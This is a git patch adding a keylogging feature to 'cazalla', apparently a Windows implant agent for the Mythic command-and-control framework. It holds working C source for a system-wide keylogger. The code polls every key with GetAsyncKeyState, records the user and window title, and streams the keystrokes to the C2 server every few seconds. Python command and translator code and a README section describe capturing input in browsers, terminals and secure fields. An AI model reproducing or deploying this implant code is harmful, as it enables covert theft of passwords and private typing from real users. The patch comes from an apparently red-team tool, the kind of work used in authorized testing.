From 519d2a89465afcb3db2cbff7e6864382e8c274d7 Mon Sep 17 00:00:00 2001 From: "marcos.luna" Date: Thu, 30 Oct 2025 17:26:33 +0100 Subject: [PATCH] keystrokes implemented --- .../cazalla/agent_code/cazalla/comandos.c | 21 +++ .../cazalla/agent_code/cazalla/comandos.h | 3 + .../cazalla/agent_code/cazalla/keylog.c | 161 ++++++++++++++++++ .../cazalla/agent_code/cazalla/keylog.h | 11 ++ .../cazalla/agent_code/cazalla/paquete.c | 22 +++ .../cazalla/agent_functions/keylog_start.py | 33 ++++ .../cazalla/agent_functions/keylog_stop.py | 33 ++++ .../cazalla/translator/commands_from_c2.py | 7 + .../translator/commands_from_implant.py | 44 +++++ README.md | 136 +++++++++++++++ 10 files changed, 471 insertions(+) create mode 100644 Payload_Type/cazalla/cazalla/agent_code/cazalla/keylog.c create mode 100644 Payload_Type/cazalla/cazalla/agent_code/cazalla/keylog.h create mode 100644 Payload_Type/cazalla/cazalla/agent_functions/keylog_start.py create mode 100644 Payload_Type/cazalla/cazalla/agent_functions/keylog_stop.py diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c index 0776465..f3d3804 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c @@ -24,6 +24,19 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) { BYTE tarea = getByte(obtenerTarea); _dbg("Comando recibido: 0x%02X (%d)", tarea, tarea); + _inf("COMMAND DEBUG: Received command 0x%02X, KEYLOG_START_CMD=0x%02X, KEYLOG_STOP_CMD=0x%02X", + tarea, KEYLOG_START_CMD, KEYLOG_STOP_CMD); + + // Debug: log specific command types + if (tarea == KEYLOG_START_CMD) { + _inf("=== KEYLOG_START_CMD (0x%02X) detected ===", tarea); + } else if (tarea == KEYLOG_STOP_CMD) { + _inf("=== KEYLOG_STOP_CMD (0x%02X) detected ===", tarea); + } else if (tarea == 0x30) { + _inf("=== RAW 0x30 detected (should be KEYLOG_START) ==="); + } else if (tarea == 0x31) { + _inf("=== RAW 0x31 detected (should be KEYLOG_STOP) ==="); + } PBYTE bufferTarea = getBytes(obtenerTarea, &tamanoTarea); PAnalizador analizadorTarea = nuevoAnalizador(bufferTarea, tamanoTarea); @@ -62,6 +75,14 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) { } else if (tarea == STOP_SOCKS_CMD) { _dbg("Received STOP_SOCKS_CMD"); stopSocksHandler(analizadorTarea); + } else if (tarea == KEYLOG_START_CMD) { + _inf("===== PROCESSING KEYLOG_START_CMD (0x%02X) =====", tarea); + StartKeylogger(analizadorTarea); + _inf("===== KEYLOG_START_CMD COMPLETED ====="); + } else if (tarea == KEYLOG_STOP_CMD) { + _inf("===== PROCESSING KEYLOG_STOP_CMD (0x%02X) =====", tarea); + StopKeylogger(analizadorTarea); + _inf("===== KEYLOG_STOP_CMD COMPLETED ====="); } else { _wrn("Tarea desconocida: 0x%02x", tarea); // liberar analizador si no será usado por otro handler diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h index 9e112e2..beae04f 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h @@ -11,6 +11,7 @@ #include "procesos.h" #include "SistemadeFicheros.h" #include "screenshot.h" +#include "keylog.h" #define SHELL_CMD 0x54 #define GET_TASKING 0x00 @@ -33,6 +34,8 @@ #define DOWNLOAD_CMD 0x27 #define UPLOAD_CMD 0x28 #define SCREENSHOT_CMD 0x29 +#define KEYLOG_START_CMD 0x30 +#define KEYLOG_STOP_CMD 0x31 /* New SOCKS control commands (agent-side) */ #define START_SOCKS_CMD 0x60 diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/keylog.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/keylog.c new file mode 100644 index 0000000..bd31415 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/keylog.c @@ -0,0 +1,161 @@ +#include "keylog.h" +#include "paquete.h" +#include "cazalla.h" + +static volatile BOOL g_keylog_running = FALSE; +static HANDLE g_keylog_thread = NULL; +static CHAR g_keylog_task_uuid[37] = {0}; + +static DWORD WINAPI keylog_thread_proc(LPVOID lpParam) { + (void)lpParam; + // Simple polling-based key grab (GetAsyncKeyState); not stealthy but minimal + CHAR buffer[2048]; + SIZE_T buf_len = 0; + ULONGLONG last_send = GetTickCount64(); + + while (g_keylog_running) { + for (int vk = 0x08; vk <= 0xFE; ++vk) { + SHORT state = GetAsyncKeyState(vk); + if (state & 0x0001) { // pressed since last call + char c = 0; + if (vk == VK_BACK) c = '\b'; + else if (vk == VK_TAB) c = '\t'; + else if (vk == VK_RETURN) c = '\n'; + else if (vk >= 0x20 && vk <= 0x7E) c = (char)vk; // printable ASCII + + if (c) { + if (buf_len < sizeof(buffer) - 1) { + buffer[buf_len++] = c; + } + } + } + } + + ULONGLONG now = GetTickCount64(); + BOOL should_send = (buf_len >= 128) || ((now - last_send) > 3000 && buf_len > 0); + if (should_send) { + buffer[buf_len] = '\0'; + + // Fetch window title + CHAR title[256] = {0}; + HWND hwnd = GetForegroundWindow(); + if (hwnd) { + GetWindowTextA(hwnd, title, sizeof(title) - 1); + } + + // Fetch user (best-effort) + CHAR user[128] = {0}; + DWORD usize = (DWORD)sizeof(user); + GetUserNameA(user, &usize); + + // Build POST_RESPONSE + PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE); + addString(respuesta, g_keylog_task_uuid, FALSE); + // empty user_output + addInt32(respuesta, 0); + + // Add keylog marker + addKeylog(respuesta, user[0] ? user : "", title[0] ? title : "", buffer); + + Analizador* resp = mandarPaquete(respuesta); + liberarPaquete(respuesta); + if (resp) liberarAnalizador(resp); + + buf_len = 0; + last_send = now; + } + + Sleep(20); + } + + return 0; +} + +BOOL StartKeylogger(PAnalizador argumentos) { + _inf("[keylog] ===== StartKeylogger called ====="); + // Match input_type=None format: [nbArg:4][UUID(36)] + UINT32 nbArg = getInt32(argumentos); + SIZE_T tamanoUuid = 36; + PCHAR tareaUuid = getString(argumentos, &tamanoUuid); + _inf("[keylog] nbArg=%u, tamanoUuid=%zu", nbArg, tamanoUuid); + if (!tareaUuid || tamanoUuid != 36) { + _err("[keylog] UUID inválido (len=%zu)", tamanoUuid); + return FALSE; + } + + // Ensure UUID is null-terminated + CHAR uuidBuffer[37] = {0}; + memcpy(uuidBuffer, tareaUuid, 36); + uuidBuffer[36] = '\0'; + tareaUuid = uuidBuffer; + + _inf("[keylog] Task UUID: %s", tareaUuid); + memset(g_keylog_task_uuid, 0, sizeof(g_keylog_task_uuid)); + memcpy(g_keylog_task_uuid, tareaUuid, 36); + + if (g_keylog_running) { + return TRUE; + } + g_keylog_running = TRUE; + g_keylog_thread = CreateThread(NULL, 0, keylog_thread_proc, NULL, 0, NULL); + + // Ack + PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE); + addString(respuesta, g_keylog_task_uuid, FALSE); + PPaquete salida = nuevoPaquete(0, FALSE); + PackageAddFormatPrintf(salida, FALSE, "[keylog] Started\n"); + addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE); + + // Report API Call artifact for keylogger + addArtifact(respuesta, "API Call", "Keyboard Hook: GetAsyncKeyState, GetForegroundWindow, GetWindowTextA, GetUserNameA"); + + Analizador* resp = mandarPaquete(respuesta); + liberarPaquete(salida); + liberarPaquete(respuesta); + if (resp) liberarAnalizador(resp); + return TRUE; +} + +BOOL StopKeylogger(PAnalizador argumentos) { + _inf("[keylog] ===== StopKeylogger called ====="); + // Match input_type=None format: [nbArg:4][UUID(36)] + UINT32 nbArg = getInt32(argumentos); + SIZE_T tamanoUuid = 36; + PCHAR tareaUuid = getString(argumentos, &tamanoUuid); + _inf("[keylog] nbArg=%u, tamanoUuid=%zu", nbArg, tamanoUuid); + + if (tareaUuid && tamanoUuid == 36) { + // Ensure UUID is null-terminated + CHAR uuidBuffer[37] = {0}; + memcpy(uuidBuffer, tareaUuid, 36); + uuidBuffer[36] = '\0'; + tareaUuid = uuidBuffer; + + _inf("[keylog] Task UUID: %s", tareaUuid); + memset(g_keylog_task_uuid, 0, sizeof(g_keylog_task_uuid)); + memcpy(g_keylog_task_uuid, tareaUuid, 36); + } else { + _wrn("[keylog] UUID inválido o vacío, usando UUID guardado"); + } + + if (g_keylog_running) { + g_keylog_running = FALSE; + if (g_keylog_thread) { + WaitForSingleObject(g_keylog_thread, 2000); + CloseHandle(g_keylog_thread); + g_keylog_thread = NULL; + } + } + + // Ack + PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE); + addString(respuesta, g_keylog_task_uuid[0] ? g_keylog_task_uuid : "", FALSE); + PPaquete salida = nuevoPaquete(0, FALSE); + PackageAddFormatPrintf(salida, FALSE, "[keylog] Stopped\n"); + addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE); + Analizador* resp = mandarPaquete(respuesta); + liberarPaquete(salida); + liberarPaquete(respuesta); + if (resp) liberarAnalizador(resp); + return TRUE; +} diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/keylog.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/keylog.h new file mode 100644 index 0000000..1b9fef9 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/keylog.h @@ -0,0 +1,11 @@ +#pragma once +#ifndef KEYLOG_H +#define KEYLOG_H + +#include +#include "analizador.h" + +BOOL StartKeylogger(PAnalizador argumentos); +BOOL StopKeylogger(PAnalizador argumentos); + +#endif diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.c index 3503ced..b03d580 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.c @@ -763,4 +763,26 @@ VOID addCommand(PPaquete paquete, PCHAR action, PCHAR cmd) { SIZE_T cmd_len = strlen(cmd); addInt32(paquete, (UINT32)cmd_len); addString(paquete, cmd, FALSE); +} + +// Helper function to add keylog entries to response packages +// Format: [0xF6 marker][user_len:4][user][title_len:4][title][keys_len:4][keystrokes] +VOID addKeylog(PPaquete paquete, PCHAR user, PCHAR window_title, PCHAR keystrokes) { + if (!paquete || !user || !window_title || !keystrokes) { + return; + } + + addByte(paquete, 0xF6); + + SIZE_T user_len = strlen(user); + addInt32(paquete, (UINT32)user_len); + addString(paquete, user, FALSE); + + SIZE_T title_len = strlen(window_title); + addInt32(paquete, (UINT32)title_len); + addString(paquete, window_title, FALSE); + + SIZE_T keys_len = strlen(keystrokes); + addInt32(paquete, (UINT32)keys_len); + addString(paquete, keystrokes, FALSE); } \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_functions/keylog_start.py b/Payload_Type/cazalla/cazalla/agent_functions/keylog_start.py new file mode 100644 index 0000000..512a850 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_functions/keylog_start.py @@ -0,0 +1,33 @@ +from mythic_container.MythicCommandBase import * +from mythic_container.MythicRPC import * + + +class KeylogStartArguments(TaskArguments): + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [] + + async def parse_arguments(self): + pass + + +class KeylogStartCommand(CommandBase): + cmd = "keylog_start" + needs_admin = False + help_cmd = "keylog_start" + description = "Start a low-level keyboard logger and stream keylogs to Mythic" + version = 1 + author = "@KaseyaOFSTeam" + argument_class = KeylogStartArguments + attributes = CommandAttributes( + supported_os=[SupportedOS.Windows], + suggested_command=False, + ) + + async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: + resp = PTTaskCreateTaskingMessageResponse(TaskID=taskData.Task.ID, Success=True) + resp.DisplayParams = "Start keylogger" + return resp + + async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: + return PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) diff --git a/Payload_Type/cazalla/cazalla/agent_functions/keylog_stop.py b/Payload_Type/cazalla/cazalla/agent_functions/keylog_stop.py new file mode 100644 index 0000000..68e56a5 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_functions/keylog_stop.py @@ -0,0 +1,33 @@ +from mythic_container.MythicCommandBase import * +from mythic_container.MythicRPC import * + + +class KeylogStopArguments(TaskArguments): + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [] + + async def parse_arguments(self): + pass + + +class KeylogStopCommand(CommandBase): + cmd = "keylog_stop" + needs_admin = False + help_cmd = "keylog_stop" + description = "Stop the active keylogger" + version = 1 + author = "@KaseyaOFSTeam" + argument_class = KeylogStopArguments + attributes = CommandAttributes( + supported_os=[SupportedOS.Windows], + suggested_command=False, + ) + + async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: + resp = PTTaskCreateTaskingMessageResponse(TaskID=taskData.Task.ID, Success=True) + resp.DisplayParams = "Stop keylogger" + return resp + + async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: + return PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) diff --git a/Payload_Type/cazalla/translator/commands_from_c2.py b/Payload_Type/cazalla/translator/commands_from_c2.py index 518e7a3..6833df9 100644 --- a/Payload_Type/cazalla/translator/commands_from_c2.py +++ b/Payload_Type/cazalla/translator/commands_from_c2.py @@ -18,6 +18,9 @@ commands = { "download": {"hex_code": 0x27, "input_type": "string"}, "upload": {"hex_code": 0x28, "input_type": "string"}, "screenshot": {"hex_code": 0x29, "input_type": None}, + # Keylogging controls + "keylog_start": {"hex_code": 0x30, "input_type": None}, + "keylog_stop": {"hex_code": 0x31, "input_type": None}, # Added SOCKS control commands "start_socks": {"hex_code": 0x60, "input_type": "int"}, "stop_socks": {"hex_code": 0x61, "input_type": None}, @@ -33,6 +36,10 @@ def responseTasking(tasks): for task in tasks: command_to_run = task["command"] print(f"\n[DEBUG] Preparando comando: {command_to_run}") + if command_to_run not in commands: + print(f"[ERROR] Comando no reconocido en translator: {command_to_run}") + # Skip unknown command to avoid crashing the translator + continue print(f"[DEBUG] Tipo input: {commands[command_to_run]['input_type']}") command_code = commands[command_to_run]["hex_code"].to_bytes(1, "big") diff --git a/Payload_Type/cazalla/translator/commands_from_implant.py b/Payload_Type/cazalla/translator/commands_from_implant.py index 81e2e09..5b97999 100644 --- a/Payload_Type/cazalla/translator/commands_from_implant.py +++ b/Payload_Type/cazalla/translator/commands_from_implant.py @@ -247,6 +247,7 @@ def postResponse(data): download_chunk = None upload_request = None commands_data = [] + keylogs_data = [] remaining_data = data while len(remaining_data) >= 5: # At least: marker (1) + type_len (4) @@ -583,6 +584,45 @@ def postResponse(data): remaining_data = remaining_data[offset:] except: break + elif remaining_data[0] == 0xF6: + # Keylog marker found + # Format: [0xF6][user_len:4][user][title_len:4][title][keys_len:4][keystrokes] + offset = 1 + # user + if len(remaining_data) < offset + 4: + break + user_len = int.from_bytes(remaining_data[offset:offset+4], 'big') + offset += 4 + if len(remaining_data) < offset + user_len: + break + user = remaining_data[offset:offset+user_len].decode('utf-8', errors='ignore') + offset += user_len + # title + if len(remaining_data) < offset + 4: + break + title_len = int.from_bytes(remaining_data[offset:offset+4], 'big') + offset += 4 + if len(remaining_data) < offset + title_len: + break + window_title = remaining_data[offset:offset+title_len].decode('utf-8', errors='ignore') + offset += title_len + # keystrokes + if len(remaining_data) < offset + 4: + break + keys_len = int.from_bytes(remaining_data[offset:offset+4], 'big') + offset += 4 + if len(remaining_data) < offset + keys_len: + break + keystrokes = remaining_data[offset:offset+keys_len].decode('utf-8', errors='ignore') + offset += keys_len + + keylogs_data.append({ + "user": user, + "window_title": window_title, + "keystrokes": keystrokes, + }) + print(f"[KEYLOG] user='{user}', title='{window_title}', len={len(keystrokes)}") + remaining_data = remaining_data[offset:] else: # No more markers break @@ -690,6 +730,10 @@ def postResponse(data): jsonTask["commands"] = commands print(f"[COMMANDS] Total de commands agregados: {len(commands)}") + if len(keylogs_data) > 0: + jsonTask["keylogs"] = keylogs_data + print(f"[KEYLOG] Total de keylogs agregados: {len(keylogs_data)}") + # Add download information if present if download_registration: jsonTask["download"] = download_registration diff --git a/README.md b/README.md index 5310819..a5532ec 100644 --- a/README.md +++ b/README.md @@ -27,6 +27,7 @@ - [Credentials Support](#credentials-support) - [File Downloads Support](#file-downloads-support) - [File Uploads Support](#file-uploads-support) +- [⌨️ Keylogging Support](#%EF%B8%8F-keylogging-support) - [Development](#development) - [Troubleshooting](#troubleshooting) - [Credits](#credits) @@ -200,6 +201,8 @@ For more information, see the [Mythic documentation on customizing public agents |---------|-------------|---------| | `ps` | List running processes with Process Browser support | `ps` | | `screenshot` | Capture full-screen screenshot (Mythic screenshot UI) | `screenshot` | +| `keylog_start` | Start keystroke logging | `keylog_start` | +| `keylog_stop` | Stop keystroke logging | `keylog_stop` | **Note**: The `ps` command integrates with Mythic's Process Browser, allowing unified process management across multiple callbacks. Process lists are automatically synchronized and viewable from the Process Browser UI. @@ -515,6 +518,7 @@ Cazalla automatically reports artifacts created during command execution, allowi - **Extensible**: Easy to add artifact reporting for other commands (File Write, Network Connection, etc.) - **API Call**: Reported for: - `screenshot` - GDI Screen Capture (GetDC, CreateCompatibleDC, CreateCompatibleBitmap, BitBlt, GetDIBits) + - `keylog_start` - Keyboard Hook (GetAsyncKeyState, GetForegroundWindow, GetWindowTextA, GetUserNameA) ### How It Works @@ -573,6 +577,7 @@ Currently supported: - `download` - reports file path when downloading files - **API Call**: Reported for: - `screenshot` - GDI Screen Capture (GetDC, CreateCompatibleDC, CreateCompatibleBitmap, BitBlt, GetDIBits) + - `keylog_start` - Keyboard Hook (GetAsyncKeyState, GetForegroundWindow, GetWindowTextA, GetUserNameA) **Note**: The following commands don't require artifacts as they are read-only or don't modify system state: - `ls`, `cd`, `pwd` - read-only file system operations @@ -620,6 +625,8 @@ Example implementations: - `upload`: File Write artifact with destination file path - `rm`: File Delete artifact with deleted path - `download`: File Read artifact with downloaded file path +- `screenshot`: API Call artifact for screen capture APIs +- `keylog_start`: API Call artifact for keyboard hook APIs ### Best Practices for New Commands @@ -996,6 +1003,135 @@ For more information, see the [Mythic File Upload documentation](https://docs.my --- +## ⌨️ Keylogging Support + +Cazalla supports capturing keystrokes from the target system and reporting them to Mythic's Keylogs feature, following [Mythic's Keylog specification](https://docs.mythic-c2.net/customizing/hooking-features/keylog). + +### Features + +- **Window-Aware Keylogging**: Captures keystrokes along with the active window title +- **User Context**: Includes the username in each keylog entry +- **Process-Agnostic**: Works with any application (Notepad, browsers, terminals, etc.) +- **Automatic Buffering**: Buffers keystrokes and sends them periodically (every 3 seconds or 128 bytes) +- **Background Thread**: Runs as a separate thread, allowing other commands to execute while keylogging +- **API Call Artifacts**: Automatically reports API Call artifacts when keylogging starts + +### How It Works + +1. **Start Keylogging**: When you execute `keylog_start`, the agent: + - Starts a background thread that monitors keyboard input + - Uses `GetAsyncKeyState` to detect key presses + - Captures the active window title using `GetForegroundWindow` and `GetWindowTextA` + - Captures the current username using `GetUserNameA` + - Buffers keystrokes and sends them every 3 seconds or when buffer reaches 128 bytes + +2. **Keylog Transmission**: The keylogger periodically sends captured keystrokes: + - Each transmission includes: user, window title, and captured keystrokes + - Format follows Mythic's keylog specification + - Keylogs appear in Mythic's Keylogs UI automatically + +3. **Stop Keylogging**: When you execute `keylog_stop`, the agent: + - Stops the background keylogging thread + - Sends a final acknowledgment response + +### Using the Keylog Commands + +```bash +# Start keylogging +keylog_start + +# Stop keylogging +keylog_stop +``` + +### Keylog Process + +1. **Start**: Agent creates a background thread that: + - Polls keyboard state every 20ms + - Detects key presses using `GetAsyncKeyState` + - Captures printable ASCII characters and special keys (Backspace, Tab, Enter) + - Gets the active window title and username on each send cycle + +2. **Buffer & Send**: Keystrokes are buffered and sent when: + - Buffer reaches 128 bytes, OR + - 3 seconds have passed since last send (if buffer has data) + +3. **Format**: Each keylog entry contains: + - `user`: Current Windows username (e.g., "localuser") + - `window_title`: Title of the active window (e.g., "*hello, this is a test - Notepad") + - `keystrokes`: Actual captured keystrokes + +4. **Stop**: Background thread is terminated gracefully + +### Example Keylog Flow + +``` +Agent: [keylog] Started +# User types in Notepad... +Agent: [KEYLOG] Detectado keylog para user='localuser', window='*hello, this is a test - Notepad' +Mythic: Keylog appears in Keylogs tab +# More typing... +Agent: [KEYLOG] Detectado keylog para user='localuser', window='*hello, this is a test - Notepad' +Mythic: Additional keystrokes added to keylog entry +Agent: [keylog] Stopped +``` + +### Universal Process Support + +The keylogger works with **any Windows application** because it: +- Uses `GetForegroundWindow()` to get the currently active window +- Captures keystrokes system-wide using `GetAsyncKeyState` +- Doesn't require injection into specific processes + +**This means it works for:** +- ✅ Text editors (Notepad, VS Code, etc.) +- ✅ Browsers (Chrome, Firefox, Edge) +- ✅ Terminal windows (cmd.exe, PowerShell) +- ✅ Any application that receives keyboard input +- ✅ Secure input fields (though characters may appear as visible in the buffer) + +### Implementation Details + +The keylogging system uses: +- **Polling Method**: `GetAsyncKeyState` to detect key presses (low-level approach) +- **Window Detection**: `GetForegroundWindow` + `GetWindowTextA` to identify active windows +- **User Detection**: `GetUserNameA` to get current Windows username +- **Thread Safety**: Runs in a separate thread, allowing concurrent command execution +- **Buffer Management**: 2048-byte buffer to store keystrokes before transmission +- **Artifact Reporting**: Automatically reports "API Call" artifact when keylogging starts + +### Error Handling + +The keylog commands handle various scenarios: +- **Already Running**: If keylogger is already active, `keylog_start` returns success without creating duplicate threads +- **Not Running**: If keylogger is not running, `keylog_stop` returns success (no-op) +- **Thread Cleanup**: Thread is properly terminated and handles are closed when stopping + +### Viewing Keylogs + +1. Navigate to your callback in the Mythic UI +2. Click the **KEYLOGS** tab in the top navigation +3. View all captured keystrokes grouped by: + - Task and callback + - User and host + - Window title + - Timestamp +4. Use "View Window Together" to see all keystrokes from a specific window session +5. Filter keylogs by user, window, or time range + +### Artifact Support + +The `keylog_start` command automatically reports an **API Call** artifact: +- **Type**: API Call +- **Value**: "Keyboard Hook: GetAsyncKeyState, GetForegroundWindow, GetWindowTextA, GetUserNameA" +- **Purpose**: Tracks that keylogging APIs were used on the system + +This artifact appears in Mythic's Artifacts page when keylogging is started. + +For more information, see the [Mythic Keylog documentation](https://docs.mythic-c2.net/customizing/hooking-features/keylog). + +--- + ## 🔧 Development ### Project Structure